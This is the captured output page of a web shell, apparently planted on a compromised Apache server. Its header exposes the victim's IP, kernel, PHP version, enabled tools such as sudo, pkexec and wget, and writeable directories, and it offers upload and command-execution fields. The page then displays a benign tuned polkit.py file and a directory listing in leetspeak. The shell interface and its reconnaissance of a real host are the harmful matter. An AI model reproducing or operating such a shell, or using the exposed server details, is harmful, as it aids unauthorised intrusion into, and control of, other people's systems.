p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/tuned/utils/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib/python2.7/site-packages/tuned/utils/polkit.py
import dbus
import tuned.logs

log = tuned.logs.get()

class polkit():
	def __init__(self):
		self._bus = dbus.SystemBus()
		self._proxy = self._bus.get_object('org.freedesktop.PolicyKit1', '/org/freedesktop/PolicyKit1/Authority', follow_name_owner_changes = True)
		self._authority = dbus.Interface(self._proxy, dbus_interface='org.freedesktop.PolicyKit1.Authority')

	def check_authorization(self, sender, action_id):
		"""Check authorization, return codes:
			1  - authorized
			2  - polkit error, but authorized with fallback method
			0  - unauthorized
			-1 - polkit error and unauthorized by the fallback method
			-2 - polkit error and unable to use the fallback method
		"""

		if sender is None or action_id is None:
			return False
		details = {}
		flags = 1            # AllowUserInteraction flag
		cancellation_id = "" # No cancellation id
		subject = ("system-bus-name", {"name" : sender})
		try:
			ret = self._authority.CheckAuthorization(subject, action_id, details, flags, cancellation_id)[0]
		except (dbus.exceptions.DBusException, ValueError) as e:
			log.error("error querying polkit: %s" % e)
			# No polkit or polkit error, fallback to always allow root
			try:
				uid = self._bus.get_unix_user(sender)
			except dbus.exceptions.DBusException as e:
				log.error("error using falback authorization method: %s" % e)
				return -2
			if uid == 0:
				return 2
			else:
				return -1
		return 1 if ret else 0
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:53:14
0 / 0
0755
__init__.py
0 KB
March 21 2019 22:10:46
0 / 0
0644
__init__.pyc
0.14 KB
September 21 2022 13:17:58
0 / 0
0644
__init__.pyo
0.14 KB
September 21 2022 13:17:58
0 / 0
0644
commands.py
13.23 KB
March 21 2019 22:10:46
0 / 0
0644
commands.pyc
16.111 KB
September 21 2022 13:17:58
0 / 0
0644
commands.pyo
16.111 KB
September 21 2022 13:17:58
0 / 0
0644
global_config.py
1.979 KB
March 21 2019 22:10:46
0 / 0
0644
global_config.pyc
3.231 KB
September 21 2022 13:17:58
0 / 0
0644
global_config.pyo
3.231 KB
September 21 2022 13:17:58
0 / 0
0644
nettool.py
5.568 KB
March 21 2019 22:10:46
0 / 0
0644
nettool.pyc
6.045 KB
September 21 2022 13:17:58
0 / 0
0644
nettool.pyo
6.045 KB
September 21 2022 13:17:58
0 / 0
0644
plugin_loader.py
1.753 KB
March 21 2019 22:10:46
0 / 0
0644
plugin_loader.pyc
2.754 KB
September 21 2022 13:17:58
0 / 0
0644
plugin_loader.pyo
2.572 KB
September 21 2022 13:17:58
0 / 0
0644
polkit.py
1.397 KB
March 21 2019 22:10:46
0 / 0
0644
polkit.pyc
1.981 KB
September 21 2022 13:17:58
0 / 0
0644
polkit.pyo
1.981 KB
September 21 2022 13:17:58
0 / 0
0644
profile_recommender.py
3.817 KB
March 21 2019 22:10:46
0 / 0
0644
profile_recommender.pyc
4.53 KB
September 21 2022 13:17:58
0 / 0
0644
profile_recommender.pyo
4.53 KB
September 21 2022 13:17:58
0 / 0
0644